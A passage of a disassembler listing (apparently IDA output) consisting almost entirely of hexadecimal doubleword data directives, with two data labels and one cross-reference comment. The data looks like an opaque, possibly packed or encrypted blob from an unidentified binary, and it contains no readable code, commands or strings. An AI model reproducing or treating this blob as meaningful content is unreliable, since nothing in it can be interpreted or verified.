0C17472h, 45FB8EF5h, 11B552DEh dd 0D46B1B00h, 91109CFCh, 906F0F60h, 0B0029D7h, 1B9FE3BCh dd 8F401C0Eh, 0CFB5A0EDh, 0D7DC90h, 0DDD6BDBBh, 8931DE0Bh dd 4BB62200h, 0BFEA16E2h, 8E8C00D0h, 2A91C733h, 6E7BCAC4h dd 0D4ED4B01h, 6DAE94C1h, 6FF0F0h, 0B0A0D60Bh, 452596B7h dd 3F1F0A24h, 0A02B400Eh, 0EC6B4680h, 0EF8B006Eh, 621A82D9h dd 0AA00861Ch, 4C7DC6B7h, 15D349BCh, 44E5DB9h, 0C02C29B1h dd 0FE3E71E9h, 7A5807BEh, 169B8A6h, 9ECAE5F6h, 7EC182E8h dd 918D0044h, 19ABDF9Dh, 90A188D2h, 6E4880BFh, 0B7AE4B6Dh dd 0BCE907C7h, 46E8CFC5h, 8D002188h, 0F3A85A6Ah, 0DF1F0Eh dd 0A714F7A5h, 0C044186Dh, 0DC113400h, 95D1537Ch, 0B8800F8h dd 0F34E5B77h, 5800719Ah, 1D9EE396h, 0E89C9919h, 0A7A21CF4h dd 7FBE054Fh, 684B805Eh, 43CEDD1h, 12005F6h, 0BE0793E9h dd 76D5615Dh, 4AE35820h, 0F7BD10B8h, 0C022C4E8h, 30B31707h dd 7A047588h, 9D86E602h, 0A7D124A9h, 885B6C88h, 2C87288Fh dd 9F11BD4Bh, 1C0AA3DEh, 8AC18D94h, 0CD6CD350h, 1E810D3h dd 74AFC089h, 43882C85h, 4541009Ch, 0BAF94FAAh, 38BD1D7Fh dd 96E83A4h, 76C8652Dh, 0E92C02A0h, 0BA025272h, 84684470h dd 4883CF0h, 2850061h dd 0D14BAAA2h, 2C00E34Dh, 4554F080h, 24CC2BEFh, 8E0CBE87h dd 922A84DEh, 8F116F9Ch, 0BDBA6181h, 0F44BE6A7h, 40E46900h dd 0BE67FE49h, 0B091C409h, 39938133h, 3C24D43Ch, 0F6F73AB3h dd 0C2C5199Eh, 0D218C125h, 76083495h, 0B13360D2h, 98028517h dd 0BD9D5B08h, 0C51640BBh, 2CE8EDF2h, 7EF257h, 88535E33h dd 3FDBF8A8h, 59D3A8A0h, 0ECE0FFA0h, 91B21700h, 9D74E330h dd 20A7607Ch, 3851B586h, 96A3C801h, 64617545h, 16DCE1D4h dd 0A7CAA4h, 8AD48243h, 94025CCDh, 4D4350D9h, 0B93B605Bh dd 449100BDh, 0B1E7F245h, 0E862225Dh, 804B2408h, 44629D84h dd 0BC501B4h, 867FDDA2h, 0E72CC04h, 0FE86150h, 9793DA00h dd 0D54C9D89h, 0A80B0385h, 0B53A405Dh, 38679200h, 236608C1h dd 0C3B0A869h, 4D7909FEh, 0EA00C6E9h, 887A6DC9h, 1223BC00h dd 0A0B0CBEEh, 0D23E03FFh, 0AEB54611h, 0DEF2DFB8h, 0AA2CC00h dd 0EC61F86Dh, 5DF8A7h, 47F15370h, 57744FD6h, 0A906806h dd 10999B2Bh, 10CEC25h, 0BB407A31h, 84E850BFh, 0A8AB7C63h dd 41D7B8h, 0D606E4EFh, 0BB011AC5h, 4D285E7Ah, 0C7005CD4h dd 8D739022h, 0C2983Dh, 673A059Bh, 2DE6DE41h, 42FFB400h dd 0E7DDAC7Fh, 70C50F56h, 1F81B699h, 0F4C0B866h, 0B51FC2C8h dd 0FEC0945Bh, 0D1BCDECAh, 0C174C31h, 0E37A1601h, 216C5FD3h dd 0CCC441BCh, 2DE0C88h, 398AC74h, 9610169Fh, 0CEFC8044h dd 33A87F00h, 0E93BB5E0h, 6FC30601h, 0C8BF906Eh, 0CC23EE09h dd 0A75400C1h, 4841011Bh, 0B40010CBh, 0C343AF06h, 500A373h dd 0FD8EAA46h, 527A871h, 119AC659h, 2CC0159Dh, 0F4DC3680h dd 830028AEh, 0DF7E77FBh, 91B01A27h, 6E611308h, 0F4500348h dd 0B87A0311h, 4AB129Dh, 981AE8B2h, 0C898CB6Ch, 0F8AAC024h dd 0F7121601h, 60005A78h, 0EC5F4664h, 0C3CC0453h, 0CBC6AE91h dd 0C0E5C8F0h, 66FF9A95h, 0B5FAEA1Ch, 88C549h, 6B0BCAFh dd 89A768EBh, 9CB591E8h, 96897441h, 20629D1Bh, 7FCF05C3h dd 0A5ECD6E0h, 0DA4640B2h, 5A7FF000h, 1683D396h, 95072084h dd 74E5B603h, 900A3C1Bh, 0D6F0E9h, 3569DDEDh, 95485364h dd 7B015412h, 2141540Fh, 1DC94B8Dh, 0E8D6A460h, 24489940h dd 0ED6A048Ch, 8A44C4C7h, 0CB980048h, 7A957651h, 0AAEE00D2h dd 36120627h, 73121A48h, 0A440BE2Bh, 5715B060h, 7C5F7CEDh dd 4B24Dh, 2DA41048h, 9A9869DAh, 7754AB00h, 4DC9D2DDh dd 0D5C50079h, 0E97F3743h, 403885C1h, 6F0509CBh, 86C9753h dd 57605273h, 2E466610h, 0EF255CBh, 0F062C1F2h, 9C6AF659h dd 9C22D4A9h, 8418650Ah, 0F2C72CDAh, 20302279h, 0A80246C6h dd 1864364Fh, 49846043h, 0DA661814h, 0C6F2E9BAh, 0FB578909h dd 39B4005Eh, 0A18B0697h, 6AE0A5A4h, 9AEB000Bh, 8FFDBE6Eh dd 0A6589C6Dh, 0E2E801ECh, 385D23AFh, 13D1B5E4h, 70E1AAC9h dd 7A5554F4h, 4BAF9D05h, 0E83F5A23h, 67018D23h, 924DABB8h dd 0AEC6025h, 0C45F0020h, 0C36B6E94h, 2C148F93h, 2AD8F2F7h dd 493C3025h, 0B7ED88F8h, 40886472h, 385204E2h, 0A2570CD6h dd 5BBAF370h, 5EF9B316h, 5210840h, 1217DFC7h, 300F2FD2h dd 494AE0F8h, 0F448BE90h, 0C1BBC4F8h, 5A2F8001h, 132620F6h dd 0B0287600h, 1FB5AED2h, 0E808030Bh, 2A707B7Eh, 88A05EBBh dd 0C30EBE0h, 3190410Eh, 0CA2100EAh, 2E34B21Dh, 0DE003E56h dd 0F1752523h, 12128865h, 6CC1CBEBh, 0E200B2ECh, 0A6CAD472h dd 7023AF4h, 793718A7h, 0E673A0AAh, 810050D3h, 0B0996972h dd 0E3CD1D0h, 0C34C477Dh, 789AF0A0h, 261F203Eh, 6166DDF1h dd 33795A00h, 3DC156h, 45DF171Ch, 0AD523C11h, 96D7FC0Bh dd 0A2430041h, 0F578BBh, 9AE87C4Bh, 0D4FBE651h, 52D15901h dd 0F7885AFEh, 0EA01F8h, 1283BD44h, 497AECA6h, 0D8534000h dd 6C8C7363h, 0EDFB0FEBh, 0C1402C27h, 18AB911Bh, 54AF5601h dd 0A7014473h, 20197042h, 5E659B8h, 0B474C6F4h, 9AFE0C1Eh dd 216947C2h, 0A17C0FFh, 1DA1FA0h, 0E8D83091h, 100088E0h dd 0F5C32B5h, 0E85D42BCh, 20A36917h, 6A860480h, 2E0F7F6Eh dd 80AB8807h, 3CCDB9CAh, 56A80F36h, 62825B0Bh, 0E5E03E2Fh dd 177902C9h, 79467300h, 69BB7E56h, 3A840150h, 8FA26BE7h dd 603AC79Fh, 0A248D29Eh, 207D3016h, 0E338FC00h, 3DF90289h dd 702614F0h, 0EE0A844Eh, 0C09C4327h, 72E7E695h, 0B41A6C10h dd 7CD97380h, 770609AAh, 508CB7AFh, 8FCA03C0h, 18AE750Fh dd 3D12290h, 47C5370Ch, 2888B81Fh, 785890FEh, 0B4D634EAh dd 0A55844A8h, 0EFC80099h, 0D21E988h, 0A9CE779Ah, 5801E8F9h dd 4D932300h, 375FE725h, 464302B2h, 87B3636Eh, 105AB487h dd 8B18406Dh, 1958AD78h, 40FD3025h, 0E4DCBh, 0A0644724h dd 8AFC4EE7h, 0F76013E8h, 0E229C220h, 9F710070h, 0EA02223Ah dd 0D506169Ch, 55DAE980h, 0E00B0089h, 9AC244Fh, 0CC00FD2Ah dd 65F6480Fh, 1F5C2EB2h, 2055882h, 73ECF074h, 0E4D38848h dd 0E8151900h, 0BF0E6693h, 1E6E76EBh, 525513F5h, 455002B1h dd 10408290h, 0F2001C65h, 0D313CA18h, 9D789FEh, 7129B450h dd 0F5044C00h, 7C0AD681h, 0AA92C949h, 0F3023B05h, 9FB08441h dd 0E8401AD1h, 34A851BDh, 0C03082D0h, 3B2EF5D4h, 1B217100h dd 793C642Dh, 0C6B606F4h, 78638C38h, 6E140DA0h, 0EE853003h dd 0AC67D4h, 8AF27110h, 279FC7C0h, 0B50B0501h, 5A6C5B20h dd 0A67FE8CCh, 0D7510220h, 4FF22EB5h, 153B18A1h, 88144955h dd 0E0BB6258h, 5B0FD09Bh, 12B42818h, 0AC569908h, 50751130h dd 0A37B80F1h, 61FC2A22h, 7E5C089Eh, 0F1385963h, 6DB1CBEh dd 9CD9E155h, 98570931h, 63C51138h, 5130BBCAh, 2E440DC2h dd 6A44B800h, 0E9E3CD9h, 2B685B5Dh, 85A19C15h, 525DC9F0h dd 1412FB20h, 5170DD84h, 245BC0B3h, 57BCD974h, 2510649Bh dd 3B319964h, 0E66C1h, 95216C89h, 0FE1E29F4h, 5B591582h dd 0E9804448h, 0D4661501h, 807B038Ch, 9C1C29B8h, 835CC00Fh dd 85CA1DBDh, 3973EC08h, 0BC151170h, 0DB102450h, 0ED3C098Eh dd 7F488669h, 0A61C2848h, 98882BA4h, 0A09D9048h, 0F0035EBBh dd 4816675Ch, 4167379Ch, 807582DCh, 5DB33A08h, 0E9A85EE8h dd 3108504Bh, 0A580BDE0h, 0B11B1E35h, 0A0D6526Ah, 63E588D8h dd 0FB31C684h, 7C26D05Ch, 0BC0CB012h, 54FC9013h, 6965F437h dd 0C70C1071h, 28C9F2F0h, 3C70219Ch, 0C0D32108h, 525B5CF6h dd 79A6A4A8h, 0FF4A5B02h, 60A67C26h, 0C4ECDC7Dh, 80CD1C78h dd 0E0F15C18h, 0BEFD84A1h, 5DCE1508h, 2D85A0F8h, 136CA4D5h dd 0B898E3Bh, 0B803F638h, 6010B399h, 517CB6DCh, 0CC4BB8AEh dd 0A1F9B062h, 983A9B38h, 0F1FC1960h, 5C9A9066h, 0E6478D44h dd 65327B01h, 33E2393Ch, 5170D970h, 865D8BF8h, 5E92DB12h dd 0BE80D009h, 49900288h, 34525E20h, 6876AC82h, 12261C67h dd 0FC0AB624h, 503E9033h, 0A8A5398Ch, 0B51F063Eh, 3F28E581h dd 290CD39Bh, 0F930215Ch, 0EF0E9C47h, 701E13FCh, 8F217B80h dd 93CD637h, 41C018EAh, 61433F94h, 0ACDB60FDh, 1827314Eh dd 370C6958h, 582FA470h, 20973CBBh, 415499FFh, 0D5F4F9A6h dd 1B288854h, 81542330h, 5EB183D3h, 96FB03B9h, 0F8190428h dd 8A5936B2h, 15580604h, 18192D1h, 26FB3E5Bh, 41CFAC9Ch dd 2091BF88h, 1F2BE4B4h, 74816037h, 343E32A6h, 0FC983B00h dd 0F1DC2618h, 0F7645C48h dword_52F848 dd 40F0A898h, 768E9BB9h, 41B67672h, 78EEFF30h, 8C81EC85h dd 3351751Dh, 0AB8C053h, 27FDCEA1h, 0C908E018h, 84A851D9h dd 0D2622CDBh, 60AF6430h, 52FC0D04h, 0A8C1DC27h, 48B89930h dd 0B1071AC8h, 0D565BC29h, 0C2E0184Ah, 2802D82Dh, 48CC26B6h dd 9C522454h, 0A10742C1h, 0FBC192A0h, 41D44829h, 0A6D93024h dd 0C9D85B48h, 0E9F98B80h, 1AC1E022h, 8AE3FB49h, 0B8A93B31h dd 0A05B5826h, 289478F3h, 29B0272Eh, 4B50B126h, 83468A02h dd 0BCC1B092h, 0C19C2238h, 55EB1922h, 0FBDB5180h, 61F93808h dd 5458CB66h, 0C8B92638h, 0DBC04B8h, 56851CD5h, 3C60193Ch dd 30772673h, 0BB502FA8h, 367FAE04h, 12587849h, 0B40B90F1h dd 0D9A08312h, 0FC8EBCFFh, 92F00803h, 4812CD9Fh, 4409BF1Bh dd 6A4147Ch, 1602FFBEh, 0FB3128C9h, 0C55CA854h, 8C0B7421h dd 6E6750Eh, 5B30C88Ch, 1384E458h, 743CF9FCh, 1940AC0h dd 80CCB2EBh, 85B0655h, 5A1EF691h, 0BBAEA28h, 309DF88h dd 1F612D24h, 37D220h, 20ACFEE8h, 0C584B11h, 0B422E0D8h dd 31ED2A97h, 0EF5833E8h, 0C8168238h, 0DC467EDCh, 48D8B0FFh dd 793BBC1Eh, 0DC0098CCh, 0C85DAC7Ch, 60C015C9h, 0A85A436Eh dd 0E808CEA7h, 5F1042CCh, 20CC494h, 403B10F9h, 0FB05A33Fh dd 0EABCB030h, 0BEA2A8C0h, 41CC01C5h, 866CAC65h, 0E1ECE0CEh dd 6300F9E4h, 490D5B48h, 0C244D6h, 7401B575h, 3473DCEAh dd 8D3C5E00h, 62AAF6ACh, 0E3C318F9h, 0A72E0854h, 8BE57E0Eh dd 5FC583C7h, 0B8A3E3E8h, 61E4109Dh, 252C7855h, 0C68CFCBDh dd 3B0030A6h, 80BC5B50h, 0E256AC8Ah, 4410004Fh, 0E3F95D6Fh dd 0A4F09A11h, 846ADC01h, 7EBCC045h, 0FE1FCD0h, 0CCCEE57Fh dd 689F0506h, 0A69AAC0Fh, 0E79740BCh, 0AF068AEh, 0D5A57F6Eh dd 0EDCC603Ch, 3861F5D3h, 51F736D8h, 0E9946880h, 0F28023F9h dd 0FE308CA0h, 89ACBA00h, 3C041097h, 0ECA81402h, 0E9C028CAh dd 0AE49868h, 96AC9206h, 50487D9Ah, 3CE394E6h, 324F53Ch dd 2C103168h, 0C420A056h, 688CEC00h, 0CB0CED5Ch, 0C4FCE91Ch dd 0F1F07D0Bh, 174C0886h, 12412018h, 0C702C0D0h, 0C0226A18h dd 0ECAF48ACh, 0D5061DF8h, 0B38949B1h, 0F9BE3E58h, 3614C1Ch dd 1B20CF0h, 0D63FCCA0h, 0F6603198h, 0A6C86930h, 73AC18ECh dd 0F2E880E7h, 2D034CE8h, 0CFA9AE6Dh, 923018DFh, 15A50ABh dd 0E86020C6h, 0A99A3E30h, 38D96A7Dh, 0CE91F2Ah, 8C5082CCh dd 8EA6931h, 4600EB26h, 93E6686Ch, 8173DB3Bh, 66017D21h dd 26D087D3h, 1DCE7CABh, 7CD1BE6h, 2C005A6h, 8600F466h dd 37017E39h, 83485446h, 66A0510Fh, 0E6F0337Dh, 10C031F6h dd 8673E071h, 4620C3E1h, 0C6E05016h, 28CC341Bh, 6652093Bh dd 108E58D4h, 16B6A61Ch, 77C31EFEh, 7A822606h, 28CB6F18h dd 0E066F4A6h, 9CBBE628h, 101AC632h, 8C9081BCh, 0C503190Ah dd 2D8C06CDh, 0DE07F867h, 3B69AEADh, 0A8CC835Fh, 896CE01Fh dd 0F120CD20h, 0C6C9D038h, 71AA20C6h, 29070158h, 8D766A97h dd 34E4FCB0h, 3552FCF1h, 5D5E8AF8h, 0BD02F0h, 7A4BCC72h dd 0A45F23D0h, 75B0433Eh, 0EC682160h, 24ACF00Ah, 18242567h dd 0E44C08BFh, 0CCEFFF09h, 8C10031Eh, 6C081403h, 0FC7CF462h dd 0AC30C904h, 0D34C1403h, 9330878h, 865F2003h, 0C0AEFC38h dd 47111F0h, 6874F1E1h, 0BC18211Eh, 1E98D928h, 0AA37A107h dd 0A741C105h, 0B5201DC9h, 919D0FC6h, 8800469h, 544105ADh dd 0A11EAB74h, 610DB619h, 0E3D01848h, 410418C7h, 7901100Ah dd 0CE606A63h, 0A51000ACh, 50BA802Fh, 67E88B9Fh, 5A309E74h dd 941A18C6h, 0C98D2EA4h, 0CD030034h, 6D027804h, 92963Eh dd 8A314969h, 0E83FFCC9h, 40443CA9h, 3EBD290Fh, 206EF89Fh dd 324EE80h, 0B274B62Dh, 7770AD01h, 0E7218D02h, 636609CCh dd 0DB8950E8h, 0FE681050h, 0CC5AB31Dh, 7201303h, 0A18C1FFh dd 3073D0h, 0E4F405F1h, 0A76DB06Bh, 0F6001274h, 0B2E1D108h dd 3E907FCh, 0B5991C03h, 0FFB0D457h, 90C32453h, 0E1E05529h dd 1C4CA4CDh, 371A1D86h, 0B5A18E3Bh, 78452BA6h, 5F7B90Ah dd 7830FF14h, 23B06F64h, 6B80DE2Dh, 976227ABh, 40B5739Bh dd 0A553D379h, 95980014h, 0A22029C3h, 5E7701B5h, 0BF3405F0h dd 0B360A0E9h, 95F3FF0Eh, 0DC93803Dh, 3353FEFCh, 0D4900697h dd 0E274280Ah, 281B88B0h, 0CDBE320h, 1D581370h, 0CE7B0918h dd 1579AD18h, 0CA62FA50h, 0CA8DE40h, 7B790273h, 469310C3h dd 19CDF8C4h, 2848C6C0h, 9A31381Eh, 51D02016h, 0C56A408Eh dd 0CBB70D63h, 0C628DB8h, 61F318DDh, 93280A31h, 0CBC180Ah dd 0A5081705h, 8E3320C3h, 65581958h, 8042084Bh, 0B6E8E211h dd 90BC9F69h, 0AE3D1D08h, 6C2C4003h, 21564D02h, 0E23C09FAh dd 1247C75h, 0F80E2825h, 47A9E1CAh, 0E0D1B7CCh, 0A7E94087h dd 0DE895F26h, 83894801h, 4C189293h, 0B4295803h, 0CE181230h dd 413C0479h, 78588157h, 77189B40h, 0F72E208h, 0E3402B8Dh dd 0B8331978h, 181EA88Bh, 215BE910h, 8CC928Fh, 0A04CA14Dh dd 60302DE9h, 0F91E80E1h, 0AA2833FEh, 5750941Ah, 0D43113ECh dd 0F8E010BFh, 5E3208Ah, 96043E8Ch, 811C2DB3h, 8D6C530Ch dd 303B7340h, 18BC7BF5h, 3021C118h, 0B0006AABh, 0B56CC58Dh dd 0F0707A2Dh, 0DC9431CDh, 2E60108h, 3ACCA6FCh, 156D2418h dd 130D048Ch, 81C82D3h, 0BE502048h, 219CDCA1h, 8059FD34h dd 20E873B0h, 65110D03h, 1EDAE8AFh, 0AA263DD8h, 0A9600C18h dd 6D982908h, 0A0984948h, 24D09287h, 0AD41BE4h, 6110A8D7h dd 0F54648BAh, 0B7A820A0h, 0FEFB1414h, 13CC5090h, 0B0DD190Ah dd 0FCC11CEDh, 21F56892h, 5017B020h, 4CF39496h, 89123401h dd 0CDE006A5h, 0D29E081h, 0CC8220C9h, 219C592Dh, 42AC3FF7h dd 4D016794h, 8C40978Bh, 5B2AFC0h, 2BB17EDh, 4C44600Dh dd 0C1445D4Ah, 496A6457h, 1424C113h, 6F985328h, 2029982Bh dd 2CBD0602h, 0B93721A2h, 0DFF842ABh, 0A6881498h, 10991922h dd 24147D97h, 0D400F0A5h, 7406618Fh, 0A4484DAAh, 0C3881631h dd 1D5420BBh, 144C7A48h, 2490C5EEh, 6F8788E3h, 0D883B7CDh dd 0DF1031BCh, 30A94908h, 0F87A2DE4h, 86D1C4A1h, 0BDEA3308h dd 0E3B3060h, 5F20F10h, 0F1DCB418h, 0C9E8DBF0h, 5001EF90h dd 41B3952Dh, 4E93AAA0h, 0EB0F02E4h, 60F7BB62h, 0C39B77C8h dd 8AA5E990h, 0E20EB012h, 0E6EAC004h, 408F00C2h, 0D1D84D94h dd 4AC92808h, 1DD22482h, 0B8D79482h, 350A3469h, 81243270h dd 9C2D4F36h, 0B78013E7h, 0AD3C0BDAh, 10021C14h, 0B3DCB833h dd 0A0384098h, 7CA0CECFh, 0BD19B4F4h, 0CDA8F06Bh, 0E2205C03h dd 0A0530709h, 0DA382422h, 0A1ED3480h, 0C02C917Fh, 0B552F17Dh dd 50A1EA20h, 3F29E01Fh, 7CD71941h, 46FE3207h, 37A0ECFDh dd 0B612F3ECh, 5828E0C9h, 0F2DB18DEh, 0A49728B7h, 0C281F8A8h dd 3F3E6DF0h, 27C79C1h, 0B312C98h, 774D10DFh, 70F02805h dd 42507C0Ch, 247750EDh, 1328D46Ch, 699404CAh, 0D824915Fh dd 92E2E39Dh, 79B04E9h, 0F808AA46h, 0CDDC4149h, 0E4420DAh dd 2C107064h, 0E53348C1h, 32739830h, 7510DF8Bh, 10F31CE0h dd 0A002C040h, 98AA93C4h, 4CD33304h, 7FAF318h, 81488C04h dd 81F73309h, 0D5565370h, 0C0CD50A0h, 5EAEF48h, 1668294h dd 3110B220h, 7320E054h, 0D3088E77h, 803710ECh, 99E8690h dd 0B3505861h, 808CAD01h dd 62480FCDh, 32B0104Dh, 106100Eh db 73h byte_530055 db 8Eh, 23h, 25h ; DATA XREF: ___:off_437A54o ; ___:off_437A6Co dd 59ECD04Ch, 0E774FE03h, 0A0BC7FD9h, 0F08B5099h, 93421F79h dd 0C9460CE6h, 727C0D10h, 18CF1930h, 0CCC8DD59h, 0D908D830h dd 7E319D63h, 12F9E0CAh, 3339F87Fh, 8A28CFC4h, 0D62706C4h dd 7EB63748h, 99387C08h, 3988AB61h, 408FE497h, 0B9066987h dd 44F060CFh, 5950757Ch, 1931E6F4h, 8279280Ch, 0A6DCC307h dd 0DA84F9E0h, 0D9D958DDh, 88CEC38h, 9920BF39h, 289D7931h dd 608CE397h, 7640DC16h, 930E1100h, 531BABC2h, 8A96F2Fh dd 50331B30h, 0FE1CE320h, 86870010h, 0D0A7A810h, 7200133Eh dd 914478E6h, 0AC91B58h, 4704C2C6h, 4F18C014h, 691FA229h dd 37074B99h, 7784D91Fh, 0CD70A580h, 0CFC33918h, 0AD620A86h dd 4808286Ch, 58D8CEB4h, 0DE10E78Fh, 68107D37h, 64220AA9h dd 0AC502C0Eh, 0FE21397Fh, 0DA0308C0h, 9BE2D91Eh, 2542A012h dd 0C2F059h, 1F9EFBECh, 3FA4B864h, 9FDF8703h, 0A7DE5BBFh dd 0F106A86h, 0A4B09BFFh, 4136D287h, 233C31Fh, 62AD8338h dd 82080A2Dh, 5048489Ch, 0AF304C68h, 4A28C1CEh, 62D91420h dd 0BBC31471h, 74AA3AB3h, 28A0C803h, 0E8A095B1h, 62B8C388h dd 801D19FEh, 9F07B4C1h, 7F812A89h, 0C08F1806h, 0DF6A04C8h dd 0EC52C044h, 0E889DC33h, 82D9EA83h, 2A31307h, 5FA41AA0h dd 50A97A30h, 0E29FDD60h, 90AA5080h, 1247C19h, 0A5CCADFFh dd 42EDF3DFh, 349B76C4h, 0C9635481h, 3A880069h, 0B460C025h dd 97F9F16h, 0FFA41250h, 2C34A8A8h, 0A2DB8C6h, 0C5C8C78h dd 0C2534F12h, 5028A851h, 41138814h, 190D9EF2h, 0A80AB847h dd 0E49A9A28h, 415205D3h, 0D269648h, 43F031FCh, 38720B3Dh dd 18A41D51h, 0DD01DA3Ch, 5304D38Bh, 74586841h, 9E470C5Ch dd 860392Fh, 281C5420h, 8CD030F7h, 6A5F0928h, 4116146h dd 42908DE5h, 0D80B88F3h, 63B8C550h, 0A7C88151h, 0E755C114h dd 50392498h, 36837C23h, 15DBB6E0h, 0F039E839h, 98A8D818h dd 70906291h, 1CB15C29h, 5406782Fh, 4888984Bh, 820A40F4h dd 70CCB4C5h, 4F31E5A9h, 0F3A8311Ch, 0C042F440h, 1F80A7B4h dd 211784C9h, 0A7480471h, 0EFA03F40h, 1C001D38h, 8B4EF8DBh dd 83B8DDh, 0D946AEB9h, 0DAE5F1D1h, 6BBFDF00h, 4F77513Bh dd 1FD07ACEh, 81C4C958h, 0EF9EF3F8h, 0B11C5818h, 0BED05208h dd 31AF003Ah, 3858DD7Dh, 3D14C852h, 0F0FF80D2h, 8F77A7E0h dd 2187404Dh, 7F071498h, 1F5FE48Eh, 66D2E6E1h, 14D464EDh dd 820B0A38h, 6014F4EEh, 0ED85C87Eh, 0F0FC2F41h, 0CE820CF7h dd 0EA08F3CCh, 0AE83BA1Eh, 929D1CE9h, 2CA10EC4h, 2523540Eh dd 689E6E82h, 83C2FCE9h, 8CA19F0h, 37C03C0Eh, 6BD7A2Eh dd 34E59A89h, 0BFF5406Ah, 40185639h, 4A6172A5h, 0C6EA9471h dd 214828A6h, 0AD19406Ch, 2F7229Fh, 0B960B074h, 0BBA1829h dd 36D4804Eh, 0FB82EF3Bh, 97CE08C3h, 0CC0EC3F0h, 83B6A843h dd 1C58FB9h, 288FB71Bh, 8E85C78Bh, 0C941E0Ah, 5A208426h dd 3C2B08DFh, 3E417601h, 0B4014F21h, 240E005Ah, 1A98A1B0h dd 0E0B2118Ch, 6D7C75D8h, 986624E8h, 19083F50h, 18BDB66Eh dd 48698171h, 0FA4E5DA2h, 4B0CF04Ah, 14E9880Eh, 6EC0D863h dd 0EC68423Bh, 95C89DC0h, 0F4802FFEh, 8CE95055h, 0AEA41FFh dd 64D503B4h, 1A99756Fh, 28505460h, 0F979F816h, 18C84A52h dd 0CE582634h, 0F888D062h, 0F363A7B0h, 5895E230h, 0A573A494h dd 0C3D60240h, 0A8A2BF22h, 8403774h, 0E8E216Eh, 9241C7FDh dd 3514F855h, 0CBA05475h, 0C154B612h, 0BE15B498h, 0C4508166h dd 0CBC2DD45h, 0BDACA69Ah, 83F88528h, 0B65B670Fh, 56F4291Eh dd 0B0BC8054h, 62D2FC5Ch, 0A154F1EBh, 9050C1Eh, 34A12EFFh dd 64500168h, 0CB6CB1E0h, 24A0A4BCh, 70E47059h, 0D815E297h dd 0FA094EAh, 0E95D85FCh, 6E280092h, 1D5AD7C8h, 7CA4C2Eh dd 0C30B4FCEh, 1047E1AEh, 93E30278h, 2977081h, 584037D4h dd 0AF24C60Eh, 4319AC5Dh, 0D713F908h, 5F8E680Ch, 0C151706Bh dd 0D8CA0E08h, 0D79FE05Ah, 47F6CB81h, 2DC10370h, 0C1090D26h dd 1CDB3AB4h, 2260F428h, 14211D71h, 85DBE0BCh, 29DF7D5Ah dd 2857E3D0h, 125ED700h, 1BC828CEh, 970D010Eh, 0F11A2039h dd 18176E78h, 284B52BEh, 0C610EF32h, 77011920h, 0D11ADD51h dd 3F11C7Bh, 37DED8ECh, 0B0C90D08h, 1B31C41Ah, 91301F75h dd 1651608Bh, 5371F421h, 0E261209Dh, 9E5F7C7Bh, 3B81B740h dd 0DB7E71C2h, 98D6F7E9h, 10265518h, 7D393337h, 1BF69301h dd 0D5EFED51h, 3864305Ch, 3BA00B63h, 2351F70Ah, 41E0781Bh dd 0C06CD587h, 25CF5759h, 553E311Bh, 791111E8h, 0F04502DFh dd 3703346Dh, 9130291Dh, 0F3AD4790h, 593F4470h, 0A40B4197h dd 0C6828402h, 7700382Bh, 77D63014h, 0D316009Fh, 93B3E390h dd 0F700A470h, 60CBE646h, 0A8FF9C9h, 0E1FD7BDh, 56406F14h dd 7687264Ch, 0A799C910h, 0CF403F21h, 634610B0h, 2B3950C4h dd 0D69FD7D8h, 0FF1ED274h, 442B6DCEh, 53C2EB81h, 6086860Bh dd 88B968D9h, 9F083361h, 40A3C002h, 53843D1Ch, 0A7D26Dh dd 91104B79h, 140953DFh, 0C73C5102h, 1903A423h, 0FF5803E0h dd 5F919828h, 6C41CCA2h, 6A1C4C07h, 0C4226D0Ch, 0B9D0C8h dd 0FF914E95h, 0D91B8369h, 1E310660h, 6A0C2DAh, 0E7C8108Ah dd 0D8061117h, 0D90F86FFh, 0F7EE0309h, 0D6259B56h, 0D1369FB1h dd 6492DC7Ah, 0F215BE00h, 230B79DBh, 39CF6059h, 81BF7AA6h dd 0B5071801h, 0B4773EDBh, 2180CCD1h, 8EBF557Ch, 900B71Ch dd 6E0649E7h, 0F8BDF2h, 0A2CFC5AFh, 0B1EC332h, 0D5DFD906h dd 1F919786h, 5C5603BFh, 256C400Ah, 222C129Ah, 0BE5098E6h dd 5E05845Ch, 32B2B111h, 0E71298E8h, 14F1ED7h, 9069C0E5h dd 1FE980E1h, 0DE98FC65h, 31D70C1Bh, 0C7086C40h, 0B920C060h dd 44FD8Eh, 7B47A950h, 36D1B860h, 92867C05h, 8801D008h dd 0E63DF64h, 0BCD38086h, 0F83EB1D6h, 94E00147h, 0D59EB6DBh dd 851F1883h, 0F6D8C7B5h, 43004DEFh, 41CC6484h, 37BAE66h dd 500FF40Bh, 189095DBh, 20099CBh, 14ACE25Dh, 0F85B33h dd 9DE98BB5h, 152981C7h, 21E52200h, 0A12E9301h, 35A9000Bh dd 77EC2653h, 0CB004EDDh, 0E013F9D7h, 4FAEA6h, 0BE90E628h dd 71BAB2C7h, 37FA200h, 0D6CC5C3Eh, 22D90053h, 7813AF9h dd 370F9866h, 208B50D5h, 8AE990FBh, 6AC5001Ch, 0DC0B9C61h dd 0FD03A38Ch, 0A393D3Fh, 0F808AEC4h, 0E2B600C2h, 0FAE1765h dd 380079A3h, 93AA490Dh, 182C1B9Bh, 38DC0931h, 910073D3h dd 84DB4ACCh, 63FEB256h, 7E4360A6h, 4616968h, 0B6D69A40h dd 9452BCDh, 846D30Ch, 0C1658030h, 7CAB3CAEh, 5464882h dd 9273AF07h, 0A84AC2C2h, 0B0EC0C82h, 0D00C7111h, 95C92186h dd 10244815h, 0FC889708h, 9F22ED61h, 18A5B412h, 98304A79h dd 0A9B2880Ch, 10B13042h, 548461F3h, 42541844h, 3C282AF0h dd 3F207D21h, 7872F291h, 0CB8018A8h, 6B1618C1h, 0AC40D931h dd 2E66E3Ah, 2BAAF997h, 0D7203FDEh, 48ADE3B3h, 0E70A0869h dd 40C4306Ah, 50CCDEC1h, 23F21F09h, 0C687039Ah, 7E382633h dd 262B050Dh, 62C847AFh, 303440C7h, 2C001CFBh, 2315AA74h dd 0BE41A0h, 4C060E5Bh, 479B94C1h, 7D2A68C6h, 0D5020708h dd 802B33C8h, 265DC621h, 0B6E1D00h, 55D84827h, 0F24CA4E6h dd 9521306Dh, 0CA68E810h, 0CF03D900h, 4CFE7CD5h, 1C84F0ECh dd 0C19277E6h, 0F3FFD359h dd 4F5830A2h, 65C13E07h, 4370E29Ah, 3C787447h, 58802A39h dd 0A6DA5A1h, 1CAE08A2h, 8B80DF46h, 3423C2D7h, 837EC800h dd 0DB6E1E52h, 99871DA9h, 0E2C06B40h, 0A300136Dh, 0E4C0A65Ah dd 30DDFCC1h, 3B2922A9h, 